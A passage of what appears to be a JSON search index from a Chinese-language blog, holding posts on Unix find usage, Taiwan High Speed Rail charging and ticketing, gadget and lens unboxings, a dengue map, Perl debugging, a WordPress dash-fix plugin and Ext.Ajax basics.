輸出類似這樣：\n./scripts/basic/bin2c.c ./scripts/basic/fixdep.c 下面這行指令一樣是搜尋 C 語言的原始碼，不過它可以顯示檔案的完整路徑（-H）、行號（-n）以及匹配處的以下 5 行（-A5）：\nfind ./ -name \\*.c -exec grep -wnHA5 main {} \\; 這個指令的輸出會更有用：\n./scripts/basic/bin2c.c:12:int main(int argc, char *argv[]) ./scripts/basic/bin2c.c-13-{ ./scripts/basic/bin2c.c-14-\tint ch, total = 0; ./scripts/basic/bin2c.c-15- ./scripts/basic/bin2c.c-16-\tif (argc \u003e 1) ./scripts/basic/bin2c.c-17-\tprintf(\"const char %s[] %s=\\n\", ./scripts/basic/fixdep.c:447:int main(int argc, char *argv[]) ./scripts/basic/fixdep.c-448-{ ./scripts/basic/fixdep.c-449-\ttraps(); ./scripts/basic/fixdep.c-450- ./scripts/basic/fixdep.c-451-\tif (argc != 4) ./scripts/basic/fixdep.c-452-\tusage(); 若要顯示匹配處的以上 5 行，可以在 grep 指令上再加一個 -B5 參數。\n參考資料 Tecmint ","permalink":"https://blog.gtwang.org/linux/unix-linux-find-command-examples/","summary":"\u003cp\u003e這裡整理了一系列的 \u003ccode\u003efind\u003c/code\u003e 指令使用範例教學，對於管理或使用 Unix/Linux 的人很有幫助。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003efind\u003c/code\u003e 指令是 Unix/Linux 系統中很常用的指令之一，尤其是對於系統管理者，更是會常常使用到這個工具。\u003c/p\u003e","title":"Unix/Linux 的 find 指令使用教學、技巧與範例整理"},{"content":"高鐵車站與列車上有許多可以讓手機免費充電的地方，手機沒電又有緊急事情要聯絡時，它會是你的救星。\n現在人許多事情都依賴手機，像我的一些行事曆、重要記事等等資料全都放在手機裡，出門也是靠手機的 GPS 找地圖，沒有手機簡直像少了一隻手。有時候坐高鐵到外地出差，出門前才發現手機忘了先充飽電，想再充也來不及了，如果又沒有行動電源，萬一在外頭手機沒電，真的是很頭痛的事情。\n台灣高鐵站後來在車站與列車上提供了許多可以讓乘客免費充電的地點，如果您也跟我一樣常會怕手機沒電，可以記住這些地方以防萬ㄧ。\n高鐵車站大廳充電區 高鐵車站的免費充電服務是設在驗票閘門裡面的候車區，所以要真的有坐車的人才能使用。\n這個充電服務通常都有 110V 的插座與 USB 充電插座，除了充手機之外，筆記型電腦也可以放在這裡充電。\n有些地點還有提供筆記型電腦讓乘客免費上網。\n在這裡充手機的話就只需要一條 USB 線即可，如果是要充筆電的話，就要自備電源線與變壓器了。\n這些免費充電服務的地方，也同時有免費的無線網路可以使用，SSID 是 THSR_freeWIFI。\n不過就我的經驗來說，整個車站大廳內部都可以收得到無線網路訊號，不見得要站在這裡用。但是如果上到車站的月台上，無線網路訊號就收不到了，所以如果要上網的人，可以在驗票閘門附近的候車區等車，不要急著上月台。\n有些車站也會在一些角落設置這樣的免費充電區，通常進了驗票閘門之後，四處找找應該就會看到。（但我不確定是不是每一個高鐵站都會有，不過我看過的都有）\n高鐵列車內充電區 現在新的高鐵列車已經有陸續增設免費的充電座，您可以看看座位後方的指示說明，它會標示充電座位於哪一節車廂。\n這是有設置充電座的車廂，他是一個獨立的小空間，裡面只能站一個人。\n裡面的充電座是兩個 110V 的插座，最大電流為 3A。\n在這裡充手機的話，就要自備變壓器了。\n因為列車的充電座是後來才加裝的，目前還有一些列車尚未增設，如果看到座位後方的標示中沒有寫出充電座的位置，那就是還沒裝，也不用去找了。\n熟悉這些手機充電的地點，會讓我們這種手機重度使用者安心一點，萬一沒電還可以補救一下，當然前題是出門都要記得帶 USB 線與變壓器，如果忘了帶 USB 線，那就真的沒救了。\n","permalink":"https://blog.gtwang.org/life/thsr-phone-charging-service/","summary":"\u003cp\u003e高鐵車站與列車上有許多可以讓手機免費充電的地方，手機沒電又有緊急事情要聯絡時，它會是你的救星。\u003c/p\u003e\n\u003cp\u003e現在人許多事情都依賴手機，像我的一些行事曆、重要記事等等資料全都放在手機裡，出門也是靠手機的 GPS 找地圖，沒有手機簡直像少了一隻手。有時候坐高鐵到外地出差，出門前才發現手機忘了先充飽電，想再充也來不及了，如果又沒有行動電源，萬一在外頭手機沒電，真的是很頭痛的事情。\u003c/p\u003e","title":"台灣高鐵手機免費充電服務：出差手機沒電時的好幫手"},{"content":"這裡介紹如何拿信用卡或金融卡使用高鐵自動售票機買票，不用去售票處排隊，快速、省時又方便。\n如果常常在上下班時間去搭高鐵的人都知道，只要是在尖峰時間去買票，售票處都是大排長龍的，人多的時候去排隊都要等十幾分鐘以上，而高鐵大約半小時一班車，常常在排隊的時候就跑掉一班車了。\n而高鐵站其實都有很多的自動售票機，而這些自動售票機通常都沒有人在使用，不需要排隊，所以我以前都是在人工售票的地方排隊，然後一直看著自動售票機，一直猶豫到底要不要去試試看用自動售票機買票，但是一開始沒用過，也不曉得怎麼用，所以又作罷。\n後來跟一位很習慣使用自動售票機的同事一起搭高鐵，帶著我使用一次售票機之後，我就學起來了，其實只要操作過一次就知道怎麼用了，沒有想像中那麼難，以下整個操作過程。\nStep 1\n用手指點一下螢幕，開始使用。\nStep 2\n選擇需要的服務，這裡我示範買一般對號座的流程，用手指直接在螢幕上點選「對號座」。\nStep 3\n選擇票種，「單程票」或是「去回票」。\nStep 4\n選擇啟程站，預設會是您所在的高鐵站。\nStep 5\n選擇到達站。\nStep 6\n選擇乘客人數，乘客有分成人與孩童。\nStep 7\n選擇車次還有車廂種類，這就看您想要搭哪一班車，選擇對應的「標準車廂」或是「商務車廂」。\nStep 8\n確認購票資訊是否正確。\nStep 9\n選擇付款方式，這裡可以使用信用卡或是金融卡，這裡我示範用信用卡的方式付款。\nStep 10\n選擇信用卡付款之後，就要插入信用卡或是使用 PayPass 這類感應的方式付款，而不同家銀行的信用卡在使用上會有些不同，有些需要密碼而有些不用。\nStep 11\n而我的信用卡是 Master Card 的，可以使用 PayPass 付款，只要把卡片放在感應區上面，感應成功後就完成付款了，非常方便。\n如果不能使用感應付款的信用卡，通常只要把卡片插進去之後，輸入信用卡的密碼就可以付款了，而這個密碼可能是預借現金的密碼或是自己在辦信用卡時設定的密碼，每一家銀行不同，請參考台灣高鐵的網站說明。\nStep 12\n付款完成後，取回卡片。\nStep 13\n從下方的取票口取出車票。\n這樣就輕鬆買到高鐵車票了，如果手腳快的人，一分鐘就可以買到票了，非常方便。\n有一些自動售票機也可以直接用現金購票，不過如果有信用卡或是金融卡會方便許多，因為自動售票機找零都是用十元或五十元印幣，用現金的話很容易找出一堆零錢。\n如果您要搭乘的車班是已經事先確定的，建議也可以考慮使用網路訂票、超商取票的方式，這樣還可以買到比較好的座位（靠窗戶的座位）。\n","permalink":"https://blog.gtwang.org/life/thsr-ticket-vending-machine-using-credit-card/","summary":"\u003cp\u003e這裡介紹如何拿信用卡或金融卡使用高鐵自動售票機買票，不用去售票處排隊，快速、省時又方便。\u003c/p\u003e\n\u003cp\u003e如果常常在上下班時間去搭高鐵的人都知道，只要是在尖峰時間去買票，售票處都是大排長龍的，人多的時候去排隊都要等十幾分鐘以上，而高鐵大約半小時一班車，常常在排隊的時候就跑掉一班車了。\u003c/p\u003e","title":"台灣高鐵自動售票機買票操作教學，免排隊（使用信用卡或金融卡）"},{"content":"這是這幾天去家樂福買的聲寶 SAMPO 手提 USB/CD/SD 音響，寫一篇開箱文記錄一下。\n最近因為要給小朋友聽英文的教學 CD，所以去家樂福選了一台 CD 音響，想說既然要買，乾脆買一台有支援 USB 與 SD 卡的，原本想要買飛利浦的，不過飛利浦出的機型我們看了不太喜歡，後來就將就買一台 SAMPO 的 AK-W1402UL，以下是簡單的開箱介紹。\n這是外盒。\n開箱照片。\n聲寶 SAMPO 手提 USB/CD/SD 音響。\n操作面板。\n電源、收音機、CD/外部音源與 USB/SD 的切換開關，還有音量控制在左後方。\n後方有耳機孔與音源輸入孔。\n收音機的控制在右後方。\n底部的樣子。\n裝電池的地方，裝六顆二號電池。\n插上電源後，試播一下 USB 隨身碟的 MP3，感覺還可以，只不過播 USB 的時候，面板上的數字並不會有指示。\n放進 CD 試試看。\n這個數字指示燈只有播 CD 的時候才會有出現。\n我總覺得它的數字指示燈只會在播 CD 的時候顯示，這樣播到哪一首就比較難掌握，至於其他的功能都還不錯。\n","permalink":"https://blog.gtwang.org/unboxing/sampo-ak-w1402ul-usb-cd-sd-player/","summary":"\u003cp\u003e這是這幾天去家樂福買的聲寶 SAMPO 手提 USB/CD/SD 音響，寫一篇開箱文記錄一下。\u003c/p\u003e\n\u003cp\u003e最近因為要給小朋友聽英文的教學 CD，所以去家樂福選了一台 CD 音響，想說既然要買，乾脆買一台有支援 USB 與 SD 卡的，原本想要買飛利浦的，不過飛利浦出的機型我們看了不太喜歡，後來就將就買一台 SAMPO 的 AK-W1402UL，以下是簡單的開箱介紹。\u003c/p\u003e","title":"[開箱] 聲寶 SAMPO 手提 USB/CD/SD 音響（AK-W1402UL）"},{"content":"這是我自己從臺南市政府資料開放平台上把 104 年臺南市本土登革熱病例數的資料抓下來畫的地圖。\n雖然現在網路上有很多類似的地圖，不過因為我想要知道最新出現的病例到底在哪一些位置，其他的地圖不是沒更新，就是沒畫出病例的經緯度座標，索性自己來畫。\n這個地圖是台南市每一天所出現的登革熱病例地點，從這裡可以看出目前登革熱疫情的現況。\n如果想要把這張地圖放在自己的網站或是部落格，可以在網頁中加入下面的 HTML 程式碼：\n\u0026lt;iframe width=\u0026#34;100%\u0026#34; height=\u0026#34;520\u0026#34; frameborder=\u0026#34;0\u0026#34; src=\u0026#34;https://gtwang.cartodb.com/viz/5915f5f8-8833-11e5-ba51-0e787de82d45/embed_map\u0026#34; allowfullscreen webkitallowfullscreen mozallowfullscreen oallowfullscreen msallowfullscreen\u0026gt;\u0026lt;/iframe\u0026gt; 另外補充一點，這個地圖是用 CartoDB 製作的，有興趣的人也可以自己玩一玩。\n後來我又發現衛生福利部疾病管制署的登革熱疫情動態擴散地圖也很好用，資料也是最新的，推薦大家使用。\n","permalink":"https://blog.gtwang.org/life/latest-dengue-map-2015/","summary":"\u003cp\u003e這是我自己從\u003ca href=\"https://data.tainan.gov.tw/\"\u003e臺南市政府資料開放平台\u003c/a\u003e上把 104 年臺南市本土登革熱病例數的資料抓下來畫的地圖。\u003c/p\u003e\n\u003cp\u003e雖然現在網路上有很多類似的地圖，不過因為我想要知道最新出現的病例到底在哪一些位置，其他的地圖不是沒更新，就是沒畫出病例的經緯度座標，索性自己來畫。\u003c/p\u003e","title":"[最新] 台南登革熱地圖（登革熱病例數）"},{"content":"這篇是 OLYMPUS M.ZUIKO DIGITAL 17mm F1.8 鏡頭的開箱文與實拍測試。\n不久之前我買了一台 E-PL6 與 P 家的 25mm 定焦鏡，雖然 25mm 的畫質很好，拍人的話真的沒話說，不過這樣的焦段要拍食記就比較沒有那麼方便，坐在餐廳位子上如果要拍一些比較大碗的麵，相機要拿得很高，甚至快要需要站起來了，這個樣子實在不是很方便。\n所以這次又買了這一個 OLYMPUS M.ZUIKO DIGITAL 17mm F1.8 定焦鏡，M4/3 的 17mm 的焦段相當於 35mm 相機的 34mm，剛好介於廣角與標準鏡之間，跟人也的視角非常接近，不管是拍人、拍景都非常方便，可說是一機一鏡的首選，加上 F1.8 大光圈，生活中大部份的狀況應該都適用。\n我這次還是從集英堂直接下訂，7-11 取貨付款，簡單省事。以下是簡單的開箱文。\n我訂的這個鏡頭是拆鏡，價格便宜很多，而內容物是這些。\n這是就是 Olympus M.ZD 17mm F1.8 定焦鏡。\n將對焦環往下推就會切換成手動對焦，鏡頭上面有景深尺。\n鏡頭的前玉。\n鏡頭的後玉。\n通常買鏡頭都會加一個保護鏡，我是買 Marumi 的。\n蓋上 Marumi 保護鏡的樣子。\n接上我之前的 E-PL6，大小感覺很不錯，當作街拍隨身機很適合，比起之前的 25mm 那顆鏡頭，這顆真的非常輕便。\n以下是一些實際拍攝的照片。\n參考資料 DIGI PHOTO ","permalink":"https://blog.gtwang.org/unboxing/olympus-m-zd-17mm-f18-len/","summary":"\u003cp\u003e這篇是 OLYMPUS M.ZUIKO DIGITAL 17mm F1.8 鏡頭的開箱文與實拍測試。\u003c/p\u003e\n\u003cp\u003e不久之前我買了一台 \u003ca href=\"/unboxing/olympus-e-pl6-evil-camera-unboxing/\"\u003eE-PL6\u003c/a\u003e 與 \u003ca href=\"/unboxing/panasonic-leica-dg-summilux-25mm-f1-4-asph-unboxing/\"\u003eP 家的 25mm 定焦鏡\u003c/a\u003e，雖然 25mm 的畫質很好，拍人的話真的沒話說，不過這樣的焦段要拍食記就比較沒有那麼方便，坐在餐廳位子上如果要拍一些比較大碗的麵，相機要拿得很高，甚至快要需要站起來了，這個樣子實在不是很方便。\u003c/p\u003e","title":"[開箱] Olympus M.ZD 17mm F1.8 定焦鏡頭實拍測試"},{"content":"Kingdom Rush 是一款很熱門的塔防小遊戲，現在可以免費下載手機 App 了！\nKingdom Rush 是一款很熱門的塔防小遊戲，以前只有網頁版是免費的，手機版是需要付費購買的，不過現在 Kingdom Rush 開放手機版免費下載，而且是永久免費的喔！\n名稱：Kingdom Rush\n手機 App：Android、iOS\n這是遊戲的地圖。\n選擇戰鬥模式。\n遊戲一開始有教學，不過這種遊戲應該也不太需要看教學。\n遊戲中可以選擇的防禦單位可分為四大類，分別是弓箭手、士兵、法師與砲兵，每種類別都有各自擅長的地方。\n在遊戲中，我們可以應用不同的防禦單位互相配合，讓整體效益提升。\n隨著遊戲不斷進行，會有一些額外的特殊的能力可以使用。\n我個人是很喜歡玩這類的遊戲，而 Kingdom Rush 的畫面與遊戲設計都很精緻，所以我個人非常推薦。\n","permalink":"https://blog.gtwang.org/game/kingdom-rush-is-now-free-forever/","summary":"\u003cp\u003eKingdom Rush 是一款很熱門的塔防小遊戲，現在可以免費下載手機 App 了！\u003c/p\u003e\n\u003cp\u003eKingdom Rush 是一款很熱門的塔防小遊戲，以前只有\u003ca href=\"/game/online-armor-games/\"\u003e網頁版\u003c/a\u003e是免費的，手機版是需要付費購買的，不過現在 Kingdom Rush 開放手機版免費下載，而且是永久免費的喔！\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"Kingdom Rush 手機 App 現在可以免費下載了！"},{"content":"這裡蒐集一些適用於 Perl 程式的基本除錯技巧，可以幫助程式設計師降低程式出問題的機率。\n使用 strict 與 warnings 如果我們需要對 Perl 的程式進行除錯時，可以在程式碼的開頭加上這兩行：\nuse strict; use warnings; 這樣對於程式的除錯會很有幫助。以下介紹這兩個 pragma 的作用。\nstrict strict 這個 pragma 的作用是強迫程式設計者使用比較嚴謹的 Perl 寫法，避開一些比較容易出錯的撰寫方式，讓程式的除錯會更容易。\n加入 strict 之後，在程式的撰寫上會有許多的限制，最常用的就是變數在使用前一定要先宣告：\nuse strict; my $foo = 7; # 宣告一個變數 print \u0026#34;foo is $fooo\\n\u0026#34;; # Perl 會顯示 $fooo 沒有宣告的錯誤 在這段程式碼中，如果沒有加上 strict 的話，Perl 會正常執行它，不會有任何錯誤訊息，但是執行的結果會讓程式設計師感到很困惑：「為什麼 $foo 輸出時老是沒有任何東西？」，而加上 strict 之後，就可以直接避免掉這類打錯字的問題。\n除此之外，strict 也會限制裸字（barewords）的使用，在一般的 Perl 程式中，如果要指定一個字串給一個變數，可以這樣寫：\nno strict; # 明確指明不使用 strict $foo = Lorem; # 使用裸字指定字串 print \u0026#34;$foo\\n\u0026#34;; # 輸出 \u0026#34;Lorem\u0026#34; 加上 strict 之後，會對限制大部份的裸字使用：\nuse strict; my $foo = ipsum; # 使用裸字會產生錯誤訊息 $foo = ( Lorem =\u0026gt; \u0026#39;ipsum\u0026#39; # 沒問題，在 =\u0026gt; 左邊允許使用裸字 ); $SIG{PIPE} = handler; # 產生錯誤訊息 $SIG{PIPE} = \\\u0026amp;handler; # 沒問題 $SIG{PIPE} = \u0026#34;handler\u0026#34;; # 這樣也可以，但是建議使用上面這個方式 在啟用 strict 之後，如果使用 symbolic reference 也會產生錯誤：\nno strict; $name = \u0026#34;foo\u0026#34;; $$name = \u0026#34;bar\u0026#34;; # 設定變數 $foo 為 \u0026#34;bar\u0026#34; print \u0026#34;$name $$name\\n\u0026#34;; # 輸出 \u0026#34;foo bar\u0026#34; use strict; my $name = \u0026#34;foo\u0026#34;; $$name = \u0026#34;bar\u0026#34;; # 不可使用 symbolic reference，會產生錯誤 warnings warnings 這個 pragma 的作用是啟用所有 Perl 警告訊息，讓開發者容易察覺程式可能會出問題的地方。\nuse warnings; my $foo = 1; $foo += 3; my $foo = 1; # 產生警告：重複宣告 my $bar = \u0026#39;12fred34\u0026#39;; my $baz = $bar + 1; # 產生警告：\u0026#34;12fred34\u0026#34; 不是數值 # 產生警告：$baz 只使用一次 警告訊息太多？ 有些經驗不足的程式設計者會感覺程式原本好好的，在加入 strict 與 warnings 之後，卻出現一大堆的警告甚至錯誤，會干擾程式設計師開發程式，所以又將這兩行去掉，誤認為沒有任何警告與錯誤產生就表示整個程式沒問題。\n但把所有的警告與錯誤訊息「關閉」是完全錯誤的做法，實際上加上 strict 與 warnings 產生的一大堆訊息所代表的意義是：您的程式非常有可能有問題！正確的做法是依照這些訊息，逐一將每個問題點修正，盡可能讓這些訊息減少，這樣才能讓程式的錯誤產生率降到最低。\n檢查 open 的傳回值 在一般的 Perl 程式中，開檔、讀檔是很常見的動作，我們常常會寫出類似這樣的程式碼：\nopen( my $file, $filename ); while ( \u0026lt;$file\u0026gt; ) { # ... } 但是這樣的程式碼若是遇到欲開啟的檔案不存在時，完全不會有任何警告或錯誤訊息，程式設計者只會發現這個 while 迴圈被跳過，這樣的小錯誤若發生在比較大型的程式裡面，在完全沒有任何訊息的狀況下，有時候是很難被找出來的。\n解決的方法是在開啟檔案時，加上檢查傳回值的程式碼，在 Perl 中加上這樣的判斷其實很方便：\nopen( my $file, \u0026#39;\u0026lt;\u0026#39;, $filename ) or die \u0026#34;Can\u0026#39;t open $filename: $!\u0026#34;; 這樣當程式找不到 $filename 這個檔案時，它就會停止執行並輸出一行錯誤訊息，這對於除錯非常有幫助！\n使用 diagnostics 有時候 Perl 所自動產生的錯誤訊息並沒有提供足夠的資訊給程式開發者，例如這樣的訊息可能就會讓程式開發者一頭霧水：\nUse of uninitialized value in string eq at /Library/Perl/5.8.6/WWW/Mechanize.pm line 695. 這時候我們可以使用 diagnostics，在程式的開頭加上這一行：\nuse diagnostics; 這樣一來，Perl 就會輸出比較詳細的訊息：\nUse of uninitialized value in string eq at /Library/Perl/5.8.6/WWW/Mechanize.pm line 695 (#1) (W uninitialized) An undefined value was used as if it were already defined. It was interpreted as a \"\" or a 0, but maybe it was a mistake. To suppress this warning assign a defined value to your variables. To help you figure out what was undefined, perl tells you what operation you used the undefined value in. Note, however, that perl optimizes your program and the operation displayed in the warning may not necessarily appear literally in your program. For example, \"that $foo\" is usually optimized into \"that \" . $foo, and the warning will refer to the concatenation (.) operator, even though there is no . in your program. 這樣可以讓程式設計者更容易看出問題在哪裡。\n加上 diagnostics 之後，產生的訊息雖然很詳細，不過我們可能不是每次都需要看這麼詳細的內容，有時候訊息太多反而很麻煩，建議可以在平常開發時將這行註解起來，當出現看不懂的訊息時，再將這行打開。\n另外如果不想更動原始的程式碼的話，我們也可以透過命令列的參數來啟用 diagnostics：\nperl -Mdiagnostics mycode.pl 若使用這樣的方式的話，mycode.pl 的程式碼就不需要另外加上 use diagnostics;。\n呼叫堆疊（Call Stack） 有時候程式會出現一些訊息，但是我們可能看不出來到底程式是怎麼樣執行到這裡的，例如：\nUse of uninitialized value in string eq at /Library/Perl/5.8.6/WWW/Mechanize.pm line 695. 我們可以開啟 Mechanize.pm 這個檔案，找到第 695 行看看問題出現的位置，但是這樣還是無法得知我們的程式是怎麼樣執行的，我們需要的是一個函數呼叫的呼叫堆疊。\n當一個 Perl 程式呼叫到 die 與 warn 時，它會進而呼叫 $SIG{__DIE__} 與 $SIG{__WARN__} 所指定的函數（預設是 CORE::die 與 CORE::warn），我們可以拿一些更有用的函數把預設的函數替換掉，這樣對於除錯會更有幫助。\nCarp 模組所提供的 confess 函數就是一個很好的替代方案，我們可以在程式的開頭加上這幾行：\nuse Carp qw( confess ); $SIG{__DIE__} = \\\u0026amp;confess; $SIG{__WARN__} = \\\u0026amp;confess; 這樣一來，當 Perl 呼叫到 die 與 warn 時，就會交給 Carp::confess 來負責處理，以這個例子來說，confess 會輸出原本的訊息，外加一個 stack trace 的資訊，然後停止程式的執行：\nUse of uninitialized value in string eq at /Library/Perl/5.8.6/WWW/Mechanize.pm line 695. at /Library/Perl/5.8.6/WWW/Mechanize.pm line 695 WWW::Mechanize::find_link('WWW::Mechanize=HASH(0x180e5bc)', 'n', 'undef') called at foo.pl line 17 main::go_find_link('http://www.cnn.com') called at foo.pl line 8 這樣我們就有更多的除錯資訊，包含被呼叫的函數與被傳遞的參數值，從這裡我們可以看到 find_link 的第三個參數是 undef，這是一個很可疑的地方，從這裡開始檢查是一個不錯的出發點。\nCarp::Always 如果您不想在每個程式中都用手動的方式更改 signal handlers，可以改用 Carp::Always，但這個 Perl 模組不是內建的，要從 CPAN 上面下載。\n安裝好之後，只要在 Perl 程式的一開始加上一行：\nuse Carp::Always; 這樣就可以使用了，除了這個方式之外，也可以用命令列的方式來使用：\nperl -MCarp::Always script.pl 如此一來，只要程式呼叫 die 或 warn 時，就會自動輸出呼叫堆疊。\n","permalink":"https://blog.gtwang.org/perl/perl-programming-debugging-basic-technique/","summary":"\u003cp\u003e這裡蒐集一些適用於 Perl 程式的基本除錯技巧，可以幫助程式設計師降低程式出問題的機率。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003ch2 id=\"使用-strict-與-warnings\"\u003e使用 \u003ccode\u003estrict\u003c/code\u003e 與 \u003ccode\u003ewarnings\u003c/code\u003e\u003c/h2\u003e\n\u003cp\u003e如果我們需要對 Perl 的程式進行除錯時，可以在程式碼的開頭加上這兩行：\u003c/p\u003e","title":"Perl 程式設計基本除錯技巧"},{"content":"這裡介紹如何取消 WordPress 自動將兩個減號轉換為破折號，讓部落格中的程式碼正確顯示。\n在 WordPress 中撰寫文章時，WordPress 內部預設會將兩個減號轉換為破折號，這對於一般的部落格而言事一件很方便的事，但是在某些情況下，這個功能可能會讓文章的內容出錯，例如張貼程式碼時，類似 --a 這樣的程式碼經過轉換後，就會有問題。\n如果您的部落格時常需要張貼這樣的內容，就可以把這樣的功能關掉，最簡單的方式就是增加一個小小的 WordPress 外掛，將轉換後的破折號再轉回來，以下是操作步驟。\n打開文字編輯器，建立一個 PHP 檔，內容如下：\n\u0026lt;?php /* Plugin Name: Un-double the dash */ add_filter( \u0026#39;the_content\u0026#39; , \u0026#39;mh_un_en_dash\u0026#39; , 50 ); function mh_un_en_dash( $content ) { $content = str_replace( \u0026#39;\u0026amp;#8211;\u0026#39; , \u0026#39;--\u0026#39; , $content ); $content = str_replace( \u0026#39;\u0026amp;#8212;\u0026#39; , \u0026#39;--\u0026#39; , $content ); return $content; } ?\u0026gt; 將這個檔案儲存為 un-double-dash.php，然後將這個檔案放進 WordPress 的外掛目錄（wp-content/plugins）中，然後再從 WordPress 中啟用這個外掛就可以了。\n如果您不想使用 FTP 上傳，還有另外一種方式可以新增這個外掛，就是將 un-double-dash.php 這個檔案使用任意的壓縮軟體（例如 7zip）壓縮成 zip 檔，然後打開這個網址：\nhttp://您的部落格網址/wp-admin/plugin-install.php?tab=upload 這個網址是可以上傳外掛到自己 WordPress 部落格的頁面，將壓縮好的檔案上傳上去，再啟用這個外掛即可。\n這個外掛會在 WordPress 中新增一個 filter，將 Em Dash U+2014（\u0026amp;#8212;）與 En Dash U+2013（\u0026amp;#8211;）兩個字元轉換為兩個 Hyphen-Minus U+002D，這樣我們在張貼類似 --a 這樣的程式碼時，就不會受到影響。\n這樣的做法雖然修正了程式碼的問題，但是它會讓 Em Dash 與 En Dash 兩種字元強制轉為兩個減號，這點請注意一下，如果感覺不影響的話，再考慮使用這樣的方式。\n參考資料 WordPress ","permalink":"https://blog.gtwang.org/wordpress/wordpress-issue-with-double-dash/","summary":"\u003cp\u003e這裡介紹如何取消 WordPress 自動將兩個減號轉換為破折號，讓部落格中的程式碼正確顯示。\u003c/p\u003e\n\u003cp\u003e在 WordPress 中撰寫文章時，WordPress 內部預設會將兩個減號轉換為破折號，這對於一般的部落格而言事一件很方便的事，但是在某些情況下，這個功能可能會讓文章的內容出錯，例如張貼程式碼時，類似 \u003ccode\u003e--a\u003c/code\u003e 這樣的程式碼經過轉換後，就會有問題。\u003c/p\u003e","title":"如何解決 WordPress 自動將兩個減號轉換為破折號的問題？"},{"content":"Ext.Ajax 是 Ext.data.Connection 的一個 singleton 實體，可以用來跟伺服器上面的程式溝通。\n以下是一個簡單的範例：\nExt.Ajax.request({ url: \u0026#39;ajax_demo/sample.json\u0026#39;, success: function(response, opts) { var obj = Ext.decode(response.responseText); console.dir(obj); }, failure: function(response, opts) { console.log(\u0026#39;server-side failure with status code \u0026#39; + response.status); } }); Ext.Ajax.request 在執行時會以非同步（asynchronous）的方式送出請求，然後馬上回傳（return），回傳值並不會包含與伺服器連線的任何資訊或結果，當成功連現取得資料時，Ext.Ajax.request 會執行 success 所指定的函數，若失敗則執行 failure 所指定的函數。另外也可以使用 requestcomplete 事件來處理完成請求時的動作。\n這裡的 Ext.decode 是用來解析 JSON 的字串用的，等同於 Ext.JSON.decode，可將 JSON 字串轉換為 JavaScript 物件。\n如果要更改 Ext.Ajax 的一些預設的設定，可以直接從它的屬性上修改：\nExt.Ajax.setTimeout(60000); // 60 秒 這一行是將 timeout 的時間設定為 60 秒。\n在使用 Ext.Ajax 的 request 函數時，裡面所指定的參數會取代 Ext.Ajax 預設的設定，下面這個例子中，最後所使用的 timeout 會是 60 秒：\nExt.Ajax.setTimeout(120000); // 120 秒 Ext.Ajax.request({ url: \u0026#39;page.aspx\u0026#39;, timeout: 60000 }); 一般來說，在應用程式中都會使用 Ext.Ajax 來處理 Ajax 的的請求，而如果應用程式中需要處理大量不同於預設設定的 Ajax 請求，就可以使用 Ext.data.Connection 來另外建立一個實體，獨立處理。\n","permalink":"https://blog.gtwang.org/web-development/ext-js-communication-with-server-using-ext-ajax/","summary":"\u003cp\u003e\u003ccode\u003eExt.Ajax\u003c/code\u003e 是 \u003ccode\u003eExt.data.Connection\u003c/code\u003e 的一個 singleton 實體，可以用來跟伺服器上面的程式溝通。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e以下是一個簡單的範例：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eExt\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eAjax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003erequest\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003eurl\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;ajax_demo/sample.json\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003esuccess\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eresponse\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eopts\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eobj\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eExt\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan 